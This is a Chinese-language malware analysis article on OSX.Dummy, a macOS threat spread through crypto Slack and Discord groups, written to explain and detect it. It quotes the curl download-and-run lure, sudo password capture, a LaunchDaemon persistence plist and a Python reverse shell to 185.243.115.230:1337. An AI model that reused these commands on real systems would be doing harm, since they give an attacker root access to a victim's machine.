导语:被研究者称为OSX.Dummy的恶意软件,使用了一种简单的感染方法,使那些成功受到攻击的人打开系统直到远程执行代码。本文中将带大家深入了解此恶意软件,并说明Objective-See的工具是怎样处理此威胁的。

一个新的MacOS恶意软件将目标锁定在Slack和Discord上的加密社区

黑客使用MacOS恶意软件的目标是使用Slack和Discord聊天平台的加密货币投资者。被研究者称为OSX.Dummy的恶意软件,使用了一种简单的感染方法,可以让恶意攻击者打开系统并远程执行代码。

研究人员Remco Verhoef最先发现并描述了此恶意软件,并向SANS InfoSec Handlers Diary Blog发布了他的发现,他说,

我们之前已经观察到了多个MacOS恶意软件攻击,通过模仿管理员或关键人员发起与加密相关的Slack或Discord聊天组,分享小片段,导致下载和执行恶意二进制文件。

攻击者诱使用户执行脚本,然后通过cURL下载大量34Mb OSX.Dummy恶意软件。将下载文件保存在macOS / tmp / script目录下,然后执行。Verhoef 说,“这个文件是一个大的mach064二进制文件(34M),在VirusTotal上得分为0/60,”

$ cd / tmp && curl -s curl $ MALICIOUS_URL> script && chmod + x script && ./script

该脚本用于欺骗受害者下载OSX.Dummy。

Wardle指出,使用WhatsYourSign,我们可以看到恶意二进制文件是未签名的,并且恶意软件能够避开macOS Gatekeeper安全软件,目的是防止未签名的软件被下载和执行。

一个新的MacOS恶意软件将目标锁定在Slack和Discord上的加密社区

通常这样的二进制文件会被Gatekeeper阻止。但是,如果用户通过终端命令直接下载并运行二进制文件,Gatekeeper就不会发挥作用,因此我认为内置的macOS恶意软件缓解不应该被当作万能药。不幸的是,这个二进制文件仍然是100%未检测到的(0/60)VirusTotal上的所有AV引擎:

一个新的MacOS恶意软件将目标锁定在Slack和Discord上的加密社区

如果我们在Hopper中打开二进制文件,它的大小的就很明显了。如OpenSSL和V8等各种库都是静态编译的:

一个新的MacOS恶意软件将目标锁定在Slack和Discord上的加密社区

当执行恶意软件二进制文件时,macOS sudo命令(通过终端)将恶意软件的权限更改为root。

# procInfo
 
monitoring for process events...
 
process start:
pid: 432
path: /usr/bin/sudo
args: (
   "/usr/bin/sudo",
   "-S",
   "-p",
   "#node-sudo-passwd#",
   chown,
   root,
   "/tmp/script.sh"
)

当恶意软件执行sudo并将文件的权限更改为root时,这就要求用户在终端上输入他们的密码,而这将被恶意软件保存到/tmp/dumpdummy。(根据Apple的说法,“要在Mac上的终端中执行sudo命令,您必须使用具有密码的管理员帐户登录。)

# sudo fs_usage -w -f filesystem
open /tmp/dumpdummy script.5354
pwrite F=19 script.5354
close F=19 script.5354
 
# cat /tmp/dumpdummy
hunter2

然后恶意软件将脚本设置为可执行chmod +x:

# procInfo
 
monitoring for process events...
 
process start:
path: /usr/bin/sudo
user: 501
args: (
   "/usr/bin/sudo",
   "-S",
   "-p",
   "#node-sudo-passwd#",
   chmod,
   "+x",
   "/tmp/script.sh"
)

在此之后,恶意软件继续:

· 将脚本移动到 /var/root

mv "/tmp/script.sh" "/var/root/"

· 将plist文件转储/tmp/com.startup.plist到LaunchDaemons目录然后移动到目录中

mv "/tmp/com.startup.plist" "/Library/LaunchDaemons/

· 将com.startup.plistplist 的所有者设置为root

chown root "/Library/LaunchDaemons/com.startup.plist"

· 启动com.startup.plist启动守护程序

launchctl load "-w" "/Library/LaunchDaemons/com.startup.plist"

此时恶意软件一直存在恶意启动守护程序。BlockBlock会注意到这一点,它会检测并警告此持久性尝试:

一个新的MacOS恶意软件将目标锁定在Slack和Discord上的加密社区

如BlocKBlock警报中所述,启动守护程序plist的路径为/Library/LaunchDaemons/com.startup.plist。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>KeepAlive</key>
        <true/>
        <key>Label</key>
        <string>com.startup</string>
        <key>Program</key>
        <string>/var/root/script.sh</string>
        <key>RunAtLoad</key>
        <true/>
</dict>
</plist>

当RunAtLoad密钥设置为密钥true的值时,只要系统重新启动,操作系统就会自动执行该Program密钥/var/root/script.sh。

我们来看看script.sh文件:

#!/bin/bash
while :
do
        python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("185.243.115.230",1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
        sleep 5
done

这是一个python脚本。正如Remco Verhoef(@remco_verhoef)在他的写作中所指出的,这将尝试连接到185.243.115.230端口1337。

然后,它复制stdin,stdout并stderr到插座,执行前/bin/sh与-i标志。换句话说,它正在设置一个交互式反向shell。

如果您安装了防火墙产品,例如Objective-See的LuLu,则会检测到此网络活动:

一个新的MacOS恶意软件将目标锁定在Slack和Discord上的加密社区

Digita Security首席研究官Patrick Wardle 在周五的博客文章中写道,如果与攻击者的C&C服务器(185.243.115.230:1337)的连接成功,攻击者将能够在受感染的系统上任意执行命令(以root身份)。

最后,如果要检查您是否被感染,请以root身份运行KnockKnock(因为恶意软件集的组件只能由root读取)。查找com.startup.plist执行名为’script.sh’ 的未签名启动项:

一个新的MacOS恶意软件将目标锁定在Slack和Discord上的加密社区

还可以查找以root身份运行的python运行实例,并使用上述反向shell命令:

$ ps aux | grep -i python
root python -c import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("185.243.115.230",1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);

之所以被称为恶意软件OSX.Dummy,因为用于转储受害者密码的其中一个目录称为“/ tmp / dumpdummy”。Wardle就此还分享了一个很有趣的原因:

“我把它称为OSX.Dummy,因为:其感染方法、二进制文件的大规模大小、持久性机制都是非常蹩脚的,它的功能也相当有限,所以,我将恶意软件将用户的密码保存为dumpdummy。